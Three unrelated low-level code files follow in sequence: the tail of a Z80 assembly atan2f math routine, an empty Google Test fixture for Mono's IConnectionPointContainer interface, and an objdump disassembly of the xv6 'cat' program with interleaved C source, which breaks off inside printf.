ld h,(ix+7) push hl ld l,(ix+4) ld h,(ix+5) push hl ld l,(ix+10) ld h,(ix+11) push hl ld l,(ix+8) ld h,(ix+9) push hl call ___fsdiv_callee call _m32_atanf ld a,d xor a,0x80 ld d,a ld a,(ix-1) or a,a ld c,l ld b,h jr Z,l_m32_atan2f_00109 ld hl,0x3fc9 push hl ld hl,0x0fdb push hl push de push bc call ___fssub_callee ld c, l ld b, h jr l_m32_atan2f_00110 l_m32_atan2f_00109: ld hl,0x3fc9 push hl ld hl,0x0fdb push hl push de push bc call ___fsadd_callee ld c, l ld b, h l_m32_atan2f_00110: ld l, c ld h, b jr l_m32_atan2f_00119 l_m32_atan2f_00117: ld l,(ix+6) ld h,(ix+7) push hl ld l,(ix+4) ld h,(ix+5) push hl ld hl,0x0000 push hl push hl call ___fslt_callee ld a, l or a, a jr Z,l_m32_atan2f_00114 ld de,0x3fc9 ld hl,0x0fdb jr l_m32_atan2f_00119 l_m32_atan2f_00114: ld a,(ix-6) or a, a jr Z,l_m32_atan2f_00118 ld de,0xbfc9 ld hl,0x0fdb jr l_m32_atan2f_00119 l_m32_atan2f_00118: ld hl,0x0000 ld e,l ld d,h l_m32_atan2f_00119: ld sp, ix pop ix ret SECTION IGNORE
// Mono Native Fixture // Assembly: mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 // Namespace: System.Runtime.InteropServices.ComTypes // Name: IConnectionPointContainer // C++ Typed Name: mscorlib::System::Runtime::InteropServices::ComTypes::IConnectionPointContainer #include <gtest/gtest.h> #include <mscorlib/System/Runtime/InteropServices/ComTypes/mscorlib_System_Runtime_InteropServices_ComTypes_IConnectionPointContainer.h> #include <mscorlib/System/mscorlib_System_Guid.h> #include <mscorlib/System/Runtime/InteropServices/ComTypes/mscorlib_System_Runtime_InteropServices_ComTypes_IConnectionPoint.h> namespace mscorlib { namespace System { namespace Runtime { namespace InteropServices { namespace ComTypes { //Public Methods Tests // Method EnumConnectionPoints // Signature: mscorlib::System::Runtime::InteropServices::ComTypes::IEnumConnectionPoints ppEnum TEST(mscorlib_System_Runtime_InteropServices_ComTypes_IConnectionPointContainer_Fixture,EnumConnectionPoints_Test) { } // Method FindConnectionPoint // Signature: mscorlib::System::Guid riid, mscorlib::System::Runtime::InteropServices::ComTypes::IConnectionPoint ppCP TEST(mscorlib_System_Runtime_InteropServices_ComTypes_IConnectionPointContainer_Fixture,FindConnectionPoint_Test) { } } } } } }
_cat: file format elf32-i386 Disassembly of section .text: 00000000 <main>: } } int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 57 push %edi e: 56 push %esi f: 53 push %ebx 10: 51 push %ecx 11: be 01 00 00 00 mov $0x1,%esi 16: 83 ec 18 sub $0x18,%esp 19: 8b 01 mov (%ecx),%eax 1b: 8b 59 04 mov 0x4(%ecx),%ebx 1e: 83 c3 04 add $0x4,%ebx int fd, i; if(argc <= 1){ 21: 83 f8 01 cmp $0x1,%eax { 24: 89 45 e4 mov %eax,-0x1c(%ebp) if(argc <= 1){ 27: 7e 54 jle 7d <main+0x7d> 29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi cat(0); exit(); } for(i = 1; i < argc; i++){ if((fd = open(argv[i], 0)) < 0){ 30: 83 ec 08 sub $0x8,%esp 33: 6a 00 push $0x0 35: ff 33 pushl (%ebx) 37: e8 66 03 00 00 call 3a2 <open> 3c: 83 c4 10 add $0x10,%esp 3f: 85 c0 test %eax,%eax 41: 89 c7 mov %eax,%edi 43: 78 24 js 69 <main+0x69> printf(1, "cat: cannot open %s\n", argv[i]); exit(); } cat(fd); 45: 83 ec 0c sub $0xc,%esp for(i = 1; i < argc; i++){ 48: 83 c6 01 add $0x1,%esi 4b: 83 c3 04 add $0x4,%ebx cat(fd); 4e: 50 push %eax 4f: e8 3c 00 00 00 call 90 <cat> close(fd); 54: 89 3c 24 mov %edi,(%esp) 57: e8 2e 03 00 00 call 38a <close> for(i = 1; i < argc; i++){ 5c: 83 c4 10 add $0x10,%esp 5f: 39 75 e4 cmp %esi,-0x1c(%ebp) 62: 75 cc jne 30 <main+0x30> } exit(); 64: e8 f9 02 00 00 call 362 <exit> printf(1, "cat: cannot open %s\n", argv[i]); 69: 50 push %eax 6a: ff 33 pushl (%ebx) 6c: 68 4b 08 00 00 push $0x84b 71: 6a 01 push $0x1 73: e8 58 04 00 00 call 4d0 <printf> exit(); 78: e8 e5 02 00 00 call 362 <exit> cat(0); 7d: 83 ec 0c sub $0xc,%esp 80: 6a 00 push $0x0 82: e8 09 00 00 00 call 90 <cat> exit(); 87: e8 d6 02 00 00 call 362 <exit> 8c: 66 90 xchg %ax,%ax 8e: 66 90 xchg %ax,%ax 00000090 <cat>: { 90: 55 push %ebp 91: 89 e5 mov %esp,%ebp 93: 56 push %esi 94: 53 push %ebx 95: 8b 75 08 mov 0x8(%ebp),%esi while((n = read(fd, buf, sizeof(buf))) > 0) { 98: eb 1d jmp b7 <cat+0x27> 9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if (write(1, buf, n) != n) { a0: 83 ec 04 sub $0x4,%esp a3: 53 push %ebx a4: 68 80 0b 00 00 push $0xb80 a9: 6a 01 push $0x1 ab: e8 d2 02 00 00 call 382 <write> b0: 83 c4 10 add $0x10,%esp b3: 39 d8 cmp %ebx,%eax b5: 75 26 jne dd <cat+0x4d> while((n = read(fd, buf, sizeof(buf))) > 0) { b7: 83 ec 04 sub $0x4,%esp ba: 68 00 02 00 00 push $0x200 bf: 68 80 0b 00 00 push $0xb80 c4: 56 push %esi c5: e8 b0 02 00 00 call 37a <read> ca: 83 c4 10 add $0x10,%esp cd: 83 f8 00 cmp $0x0,%eax d0: 89 c3 mov %eax,%ebx d2: 7f cc jg a0 <cat+0x10> if(n < 0){ d4: 75 1b jne f1 <cat+0x61> } d6: 8d 65 f8 lea -0x8(%ebp),%esp d9: 5b pop %ebx da: 5e pop %esi db: 5d pop %ebp dc: c3 ret printf(1, "cat: write error\n"); dd: 83 ec 08 sub $0x8,%esp e0: 68 28 08 00 00 push $0x828 e5: 6a 01 push $0x1 e7: e8 e4 03 00 00 call 4d0 <printf> exit(); ec: e8 71 02 00 00 call 362 <exit> printf(1, "cat: read error\n"); f1: 50 push %eax f2: 50 push %eax f3: 68 3a 08 00 00 push $0x83a f8: 6a 01 push $0x1 fa: e8 d1 03 00 00 call 4d0 <printf> exit(); ff: e8 5e 02 00 00 call 362 <exit> 104: 66 90 xchg %ax,%ax 106: 66 90 xchg %ax,%ax 108: 66 90 xchg %ax,%ax 10a: 66 90 xchg %ax,%ax 10c: 66 90 xchg %ax,%ax 10e: 66 90 xchg %ax,%ax 00000110 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 110: 55 push %ebp 111: 89 e5 mov %esp,%ebp 113: 53 push %ebx 114: 8b 45 08 mov 0x8(%ebp),%eax 117: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 11a: 89 c2 mov %eax,%edx 11c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 120: 83 c1 01 add $0x1,%ecx 123: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 127: 83 c2 01 add $0x1,%edx 12a: 84 db test %bl,%bl 12c: 88 5a ff mov %bl,-0x1(%edx) 12f: 75 ef jne 120 <strcpy+0x10> ; return os; } 131: 5b pop %ebx 132: 5d pop %ebp 133: c3 ret 134: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 13a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000140 <strcmp>: int strcmp(const char *p, const char *q) { 140: 55 push %ebp 141: 89 e5 mov %esp,%ebp 143: 53 push %ebx 144: 8b 55 08 mov 0x8(%ebp),%edx 147: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 14a: 0f b6 02 movzbl (%edx),%eax 14d: 0f b6 19 movzbl (%ecx),%ebx 150: 84 c0 test %al,%al 152: 75 1c jne 170 <strcmp+0x30> 154: eb 2a jmp 180 <strcmp+0x40> 156: 8d 76 00 lea 0x0(%esi),%esi 159: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 160: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 163: 0f b6 02 movzbl (%edx),%eax p++, q++; 166: 83 c1 01 add $0x1,%ecx 169: 0f b6 19 movzbl (%ecx),%ebx while(*p && *p == *q) 16c: 84 c0 test %al,%al 16e: 74 10 je 180 <strcmp+0x40> 170: 38 d8 cmp %bl,%al 172: 74 ec je 160 <strcmp+0x20> return (uchar)*p - (uchar)*q; 174: 29 d8 sub %ebx,%eax } 176: 5b pop %ebx 177: 5d pop %ebp 178: c3 ret 179: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 180: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 182: 29 d8 sub %ebx,%eax } 184: 5b pop %ebx 185: 5d pop %ebp 186: c3 ret 187: 89 f6 mov %esi,%esi 189: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000190 <strlen>: uint strlen(const char *s) { 190: 55 push %ebp 191: 89 e5 mov %esp,%ebp 193: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 196: 80 39 00 cmpb $0x0,(%ecx) 199: 74 15 je 1b0 <strlen+0x20> 19b: 31 d2 xor %edx,%edx 19d: 8d 76 00 lea 0x0(%esi),%esi 1a0: 83 c2 01 add $0x1,%edx 1a3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 1a7: 89 d0 mov %edx,%eax 1a9: 75 f5 jne 1a0 <strlen+0x10> ; return n; } 1ab: 5d pop %ebp 1ac: c3 ret 1ad: 8d 76 00 lea 0x0(%esi),%esi for(n = 0; s[n]; n++) 1b0: 31 c0 xor %eax,%eax } 1b2: 5d pop %ebp 1b3: c3 ret 1b4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1ba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000001c0 <memset>: void* memset(void *dst, int c, uint n) { 1c0: 55 push %ebp 1c1: 89 e5 mov %esp,%ebp 1c3: 57 push %edi 1c4: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 1c7: 8b 4d 10 mov 0x10(%ebp),%ecx 1ca: 8b 45 0c mov 0xc(%ebp),%eax 1cd: 89 d7 mov %edx,%edi 1cf: fc cld 1d0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 1d2: 89 d0 mov %edx,%eax 1d4: 5f pop %edi 1d5: 5d pop %ebp 1d6: c3 ret 1d7: 89 f6 mov %esi,%esi 1d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001e0 <strchr>: char* strchr(const char *s, char c) { 1e0: 55 push %ebp 1e1: 89 e5 mov %esp,%ebp 1e3: 53 push %ebx 1e4: 8b 45 08 mov 0x8(%ebp),%eax 1e7: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 1ea: 0f b6 10 movzbl (%eax),%edx 1ed: 84 d2 test %dl,%dl 1ef: 74 1d je 20e <strchr+0x2e> if(*s == c) 1f1: 38 d3 cmp %dl,%bl 1f3: 89 d9 mov %ebx,%ecx 1f5: 75 0d jne 204 <strchr+0x24> 1f7: eb 17 jmp 210 <strchr+0x30> 1f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 200: 38 ca cmp %cl,%dl 202: 74 0c je 210 <strchr+0x30> for(; *s; s++) 204: 83 c0 01 add $0x1,%eax 207: 0f b6 10 movzbl (%eax),%edx 20a: 84 d2 test %dl,%dl 20c: 75 f2 jne 200 <strchr+0x20> return (char*)s; return 0; 20e: 31 c0 xor %eax,%eax } 210: 5b pop %ebx 211: 5d pop %ebp 212: c3 ret 213: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000220 <gets>: char* gets(char *buf, int max) { 220: 55 push %ebp 221: 89 e5 mov %esp,%ebp 223: 57 push %edi 224: 56 push %esi 225: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 226: 31 f6 xor %esi,%esi 228: 89 f3 mov %esi,%ebx { 22a: 83 ec 1c sub $0x1c,%esp 22d: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 230: eb 2f jmp 261 <gets+0x41> 232: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 238: 8d 45 e7 lea -0x19(%ebp),%eax 23b: 83 ec 04 sub $0x4,%esp 23e: 6a 01 push $0x1 240: 50 push %eax 241: 6a 00 push $0x0 243: e8 32 01 00 00 call 37a <read> if(cc < 1) 248: 83 c4 10 add $0x10,%esp 24b: 85 c0 test %eax,%eax 24d: 7e 1c jle 26b <gets+0x4b> break; buf[i++] = c; 24f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 253: 83 c7 01 add $0x1,%edi 256: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 259: 3c 0a cmp $0xa,%al 25b: 74 23 je 280 <gets+0x60> 25d: 3c 0d cmp $0xd,%al 25f: 74 1f je 280 <gets+0x60> for(i=0; i+1 < max; ){ 261: 83 c3 01 add $0x1,%ebx 264: 3b 5d 0c cmp 0xc(%ebp),%ebx 267: 89 fe mov %edi,%esi 269: 7c cd jl 238 <gets+0x18> 26b: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 26d: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 270: c6 03 00 movb $0x0,(%ebx) } 273: 8d 65 f4 lea -0xc(%ebp),%esp 276: 5b pop %ebx 277: 5e pop %esi 278: 5f pop %edi 279: 5d pop %ebp 27a: c3 ret 27b: 90 nop 27c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 280: 8b 75 08 mov 0x8(%ebp),%esi 283: 8b 45 08 mov 0x8(%ebp),%eax 286: 01 de add %ebx,%esi 288: 89 f3 mov %esi,%ebx buf[i] = '\0'; 28a: c6 03 00 movb $0x0,(%ebx) } 28d: 8d 65 f4 lea -0xc(%ebp),%esp 290: 5b pop %ebx 291: 5e pop %esi 292: 5f pop %edi 293: 5d pop %ebp 294: c3 ret 295: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 299: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000002a0 <stat>: int stat(const char *n, struct stat *st) { 2a0: 55 push %ebp 2a1: 89 e5 mov %esp,%ebp 2a3: 56 push %esi 2a4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 2a5: 83 ec 08 sub $0x8,%esp 2a8: 6a 00 push $0x0 2aa: ff 75 08 pushl 0x8(%ebp) 2ad: e8 f0 00 00 00 call 3a2 <open> if(fd < 0) 2b2: 83 c4 10 add $0x10,%esp 2b5: 85 c0 test %eax,%eax 2b7: 78 27 js 2e0 <stat+0x40> return -1; r = fstat(fd, st); 2b9: 83 ec 08 sub $0x8,%esp 2bc: ff 75 0c pushl 0xc(%ebp) 2bf: 89 c3 mov %eax,%ebx 2c1: 50 push %eax 2c2: e8 f3 00 00 00 call 3ba <fstat> close(fd); 2c7: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 2ca: 89 c6 mov %eax,%esi close(fd); 2cc: e8 b9 00 00 00 call 38a <close> return r; 2d1: 83 c4 10 add $0x10,%esp } 2d4: 8d 65 f8 lea -0x8(%ebp),%esp 2d7: 89 f0 mov %esi,%eax 2d9: 5b pop %ebx 2da: 5e pop %esi 2db: 5d pop %ebp 2dc: c3 ret 2dd: 8d 76 00 lea 0x0(%esi),%esi return -1; 2e0: be ff ff ff ff mov $0xffffffff,%esi 2e5: eb ed jmp 2d4 <stat+0x34> 2e7: 89 f6 mov %esi,%esi 2e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000002f0 <atoi>: int atoi(const char *s) { 2f0: 55 push %ebp 2f1: 89 e5 mov %esp,%ebp 2f3: 53 push %ebx 2f4: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 2f7: 0f be 11 movsbl (%ecx),%edx 2fa: 8d 42 d0 lea -0x30(%edx),%eax 2fd: 3c 09 cmp $0x9,%al n = 0; 2ff: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 304: 77 1f ja 325 <atoi+0x35> 306: 8d 76 00 lea 0x0(%esi),%esi 309: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 310: 8d 04 80 lea (%eax,%eax,4),%eax 313: 83 c1 01 add $0x1,%ecx 316: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 31a: 0f be 11 movsbl (%ecx),%edx 31d: 8d 5a d0 lea -0x30(%edx),%ebx 320: 80 fb 09 cmp $0x9,%bl 323: 76 eb jbe 310 <atoi+0x20> return n; } 325: 5b pop %ebx 326: 5d pop %ebp 327: c3 ret 328: 90 nop 329: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000330 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 330: 55 push %ebp 331: 89 e5 mov %esp,%ebp 333: 56 push %esi 334: 53 push %ebx 335: 8b 5d 10 mov 0x10(%ebp),%ebx 338: 8b 45 08 mov 0x8(%ebp),%eax 33b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 33e: 85 db test %ebx,%ebx 340: 7e 14 jle 356 <memmove+0x26> 342: 31 d2 xor %edx,%edx 344: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 348: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 34c: 88 0c 10 mov %cl,(%eax,%edx,1) 34f: 83 c2 01 add $0x1,%edx while(n-- > 0) 352: 39 d3 cmp %edx,%ebx 354: 75 f2 jne 348 <memmove+0x18> return vdst; } 356: 5b pop %ebx 357: 5e pop %esi 358: 5d pop %ebp 359: c3 ret 0000035a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 35a: b8 01 00 00 00 mov $0x1,%eax 35f: cd 40 int $0x40 361: c3 ret 00000362 <exit>: SYSCALL(exit) 362: b8 02 00 00 00 mov $0x2,%eax 367: cd 40 int $0x40 369: c3 ret 0000036a <wait>: SYSCALL(wait) 36a: b8 03 00 00 00 mov $0x3,%eax 36f: cd 40 int $0x40 371: c3 ret 00000372 <pipe>: SYSCALL(pipe) 372: b8 04 00 00 00 mov $0x4,%eax 377: cd 40 int $0x40 379: c3 ret 0000037a <read>: SYSCALL(read) 37a: b8 05 00 00 00 mov $0x5,%eax 37f: cd 40 int $0x40 381: c3 ret 00000382 <write>: SYSCALL(write) 382: b8 10 00 00 00 mov $0x10,%eax 387: cd 40 int $0x40 389: c3 ret 0000038a <close>: SYSCALL(close) 38a: b8 15 00 00 00 mov $0x15,%eax 38f: cd 40 int $0x40 391: c3 ret 00000392 <kill>: SYSCALL(kill) 392: b8 06 00 00 00 mov $0x6,%eax 397: cd 40 int $0x40 399: c3 ret 0000039a <exec>: SYSCALL(exec) 39a: b8 07 00 00 00 mov $0x7,%eax 39f: cd 40 int $0x40 3a1: c3 ret 000003a2 <open>: SYSCALL(open) 3a2: b8 0f 00 00 00 mov $0xf,%eax 3a7: cd 40 int $0x40 3a9: c3 ret 000003aa <mknod>: SYSCALL(mknod) 3aa: b8 11 00 00 00 mov $0x11,%eax 3af: cd 40 int $0x40 3b1: c3 ret 000003b2 <unlink>: SYSCALL(unlink) 3b2: b8 12 00 00 00 mov $0x12,%eax 3b7: cd 40 int $0x40 3b9: c3 ret 000003ba <fstat>: SYSCALL(fstat) 3ba: b8 08 00 00 00 mov $0x8,%eax 3bf: cd 40 int $0x40 3c1: c3 ret 000003c2 <link>: SYSCALL(link) 3c2: b8 13 00 00 00 mov $0x13,%eax 3c7: cd 40 int $0x40 3c9: c3 ret 000003ca <mkdir>: SYSCALL(mkdir) 3ca: b8 14 00 00 00 mov $0x14,%eax 3cf: cd 40 int $0x40 3d1: c3 ret 000003d2 <chdir>: SYSCALL(chdir) 3d2: b8 09 00 00 00 mov $0x9,%eax 3d7: cd 40 int $0x40 3d9: c3 ret 000003da <dup>: SYSCALL(dup) 3da: b8 0a 00 00 00 mov $0xa,%eax 3df: cd 40 int $0x40 3e1: c3 ret 000003e2 <getpid>: SYSCALL(getpid) 3e2: b8 0b 00 00 00 mov $0xb,%eax 3e7: cd 40 int $0x40 3e9: c3 ret 000003ea <sbrk>: SYSCALL(sbrk) 3ea: b8 0c 00 00 00 mov $0xc,%eax 3ef: cd 40 int $0x40 3f1: c3 ret 000003f2 <sleep>: SYSCALL(sleep) 3f2: b8 0d 00 00 00 mov $0xd,%eax 3f7: cd 40 int $0x40 3f9: c3 ret 000003fa <uptime>: SYSCALL(uptime) 3fa: b8 0e 00 00 00 mov $0xe,%eax 3ff: cd 40 int $0x40 401: c3 ret 00000402 <getpriority>: SYSCALL(getpriority) 402: b8 16 00 00 00 mov $0x16,%eax 407: cd 40 int $0x40 409: c3 ret 0000040a <setpriority>: SYSCALL(setpriority) 40a: b8 17 00 00 00 mov $0x17,%eax 40f: cd 40 int $0x40 411: c3 ret 00000412 <getusage>: SYSCALL(getusage) 412: b8 18 00 00 00 mov $0x18,%eax 417: cd 40 int $0x40 419: c3 ret 0000041a <trace>: SYSCALL(trace) 41a: b8 19 00 00 00 mov $0x19,%eax 41f: cd 40 int $0x40 421: c3 ret 00000422 <getptable>: SYSCALL(getptable) 422: b8 1a 00 00 00 mov $0x1a,%eax 427: cd 40 int $0x40 429: c3 ret 42a: 66 90 xchg %ax,%ax 42c: 66 90 xchg %ax,%ax 42e: 66 90 xchg %ax,%ax 00000430 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 430: 55 push %ebp 431: 89 e5 mov %esp,%ebp 433: 57 push %edi 434: 56 push %esi 435: 53 push %ebx 436: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 439: 85 d2 test %edx,%edx { 43b: 89 45 c0 mov %eax,-0x40(%ebp) neg = 1; x = -xx; 43e: 89 d0 mov %edx,%eax if(sgn && xx < 0){ 440: 79 76 jns 4b8 <printint+0x88> 442: f6 45 08 01 testb $0x1,0x8(%ebp) 446: 74 70 je 4b8 <printint+0x88> x = -xx; 448: f7 d8 neg %eax neg = 1; 44a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) } else { x = xx; } i = 0; 451: 31 f6 xor %esi,%esi 453: 8d 5d d7 lea -0x29(%ebp),%ebx 456: eb 0a jmp 462 <printint+0x32> 458: 90 nop 459: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi do{ buf[i++] = digits[x % base]; 460: 89 fe mov %edi,%esi 462: 31 d2 xor %edx,%edx 464: 8d 7e 01 lea 0x1(%esi),%edi 467: f7 f1 div %ecx 469: 0f b6 92 68 08 00 00 movzbl 0x868(%edx),%edx }while((x /= base) != 0); 470: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 472: 88 14 3b mov %dl,(%ebx,%edi,1) }while((x /= base) != 0); 475: 75 e9 jne 460 <printint+0x30> if(neg) 477: 8b 45 c4 mov -0x3c(%ebp),%eax 47a: 85 c0 test %eax,%eax 47c: 74 08 je 486 <printint+0x56> buf[i++] = '-'; 47e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 483: 8d 7e 02 lea 0x2(%esi),%edi 486: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi 48a: 8b 7d c0 mov -0x40(%ebp),%edi 48d: 8d 76 00 lea 0x0(%esi),%esi 490: 0f b6 06 movzbl (%esi),%eax write(fd, &c, 1); 493: 83 ec 04 sub $0x4,%esp 496: 83 ee 01 sub $0x1,%esi 499: 6a 01 push $0x1 49b: 53 push %ebx 49c: 57 push %edi 49d: 88 45 d7 mov %al,-0x29(%ebp) 4a0: e8 dd fe ff ff call 382 <write> while(--i >= 0) 4a5: 83 c4 10 add $0x10,%esp 4a8: 39 de cmp %ebx,%esi 4aa: 75 e4 jne 490 <printint+0x60> putc(fd, buf[i]); } 4ac: 8d 65 f4 lea -0xc(%ebp),%esp 4af: 5b pop %ebx 4b0: 5e pop %esi 4b1: 5f pop %edi 4b2: 5d pop %ebp 4b3: c3 ret 4b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 4b8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 4bf: eb 90 jmp 451 <printint+0x21> 4c1: eb 0d jmp 4d0 <printf> 4c3: 90 nop 4c4: 90 nop 4c5: 90 nop 4c6: 90 nop 4c7: 90 nop 4c8: 90 nop 4c9: 90 nop 4ca: 90 nop 4cb: 90 nop 4cc: 90 nop 4cd: 90 nop 4ce: 90 nop 4cf: 90 nop 000004d0 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 4d0: 55 push %ebp 4d1: 89 e5 mov %esp,%ebp 4d3: 57 push %edi 4d4: 56 push %esi 4d5: 53 push %ebx 4d6: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4d9: 8b 75 0c mov 0xc(%ebp),%esi 4dc: 0f b6 1e movzbl (%esi),%ebx 4df: 84 db test %bl,%bl 4e1: 0f 84 b3 00 00 00 je 59a <printf+0xca> ap = (uint*)(void*)&fmt + 1; 4e7: 8d 45 10 lea 0x10(%ebp),%eax 4ea: 83 c6 01 add $0x1,%esi state = 0; 4ed: 31 ff xor %edi,%edi ap = (uint*)(void*)&fmt + 1; 4ef: 89 45 d4 mov %eax,-0x2c(%ebp) 4f2: eb 2f jmp 523 <printf+0x53> 4f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 4f8: 83 f8 25 cmp $0x25,%eax 4fb: 0f 84 a7 00 00 00 je 5a8 <printf+0xd8> write(fd, &c, 1); 501: 8d 45 e2 lea -0x1e(%ebp),%eax 504: 83 ec 04 sub $0x4,%esp 507: 88 5d e2 mov %bl,-0x1e(%ebp) 50a: 6a 01 push $0x1 50c: 50 push %eax 50d: ff 75 08 pushl 0x8(%ebp) 510: e8 6d fe ff ff call 382 <write> 515: 83 c4 10 add $0x10,%esp 518: 83 c6 01 add $0x1,%esi for(i = 0; fmt[i]; i++){ 51b: 0f b6 5e ff movzbl -0x1(%esi),%ebx 51f: 84 db test %bl,%bl 521: 74 77 je 59a <printf+0xca> if(state == 0){ 523: 85 ff test %edi,%edi c = fmt[i] & 0xff; 525: 0f be cb movsbl %bl,%ecx 528: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 52b: 74 cb je 4f8 <printf+0x28> state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 52d: 83 ff 25 cmp $0x25,%edi 530: 75 e6 jne 518 <printf+0x48> if(c == 'd'){ 532: 83 f8 64 cmp $0x64,%eax 535: 0f 84 05 01 00 00 je 640 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 53b: 81 e1 f7 00 00 00 and $0xf7,%ecx 541: 83 f9 70 cmp $0x70,%ecx 544: 74 72 je 5b8 <printf+0xe8> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 546: 83 f8 73 cmp $0x73,%eax 549: 0f 84 99 00 00 00 je 5e8 <printf+0x118> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 54f: 83 f8 63 cmp $0x63,%eax 552: 0f 84 08 01 00 00 je 660 <printf+0x190> putc(fd, *ap); ap++; } else if(c == '%'){ 558: 83 f8 25 cmp $0x25,%eax 55b: 0f 84 ef 00 00 00 je 650 <printf+0x180> write(fd, &c, 1); 561: 8d 45 e7 lea -0x19(%ebp),%eax 564: 83 ec 04 sub $0x4,%esp 567: c6 45 e7 25 movb $0x25,-0x19(%ebp) 56b: 6a 01 push $0x1 56d: 50 push %eax 56e: ff 75 08 pushl 0x8(%ebp) 571: e8 0c fe ff ff call 382 <write> 576: 83 c4 0c add $0xc,%esp 579: 8d 45 e6 lea -0x1a(%ebp),%eax 57c: 88 5d e6 mov %bl,-0x1a(%ebp) 57f: 6a 01 push $0x1 581: 50 push %eax 582: ff 75 08 pushl 0x8(%ebp) 585: 83 c6 01 add $0x1,%esi } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 588: 31 ff xor %edi,%edi write(fd, &c, 1); 58a: e8 f3 fd ff ff call 382 <write> for(i = 0; fmt[i]; i++){ 58f: 0f b6 5e ff movzbl -0x1(%esi),%ebx write(fd, &c, 1); 593: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 596: 84 db test %bl,%bl 598: 75 89 jne 523 <printf+0x53> } } } 59a: 8d 65 f4 lea -0xc(%ebp),%esp 59d: 5b pop %ebx 59e: 5e pop %esi 59f: 5f pop %edi 5a0: 5d pop %ebp 5a1: c3 ret 5a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi state = '%'; 5a8: bf 25 00 00 00 mov $0x25,%edi 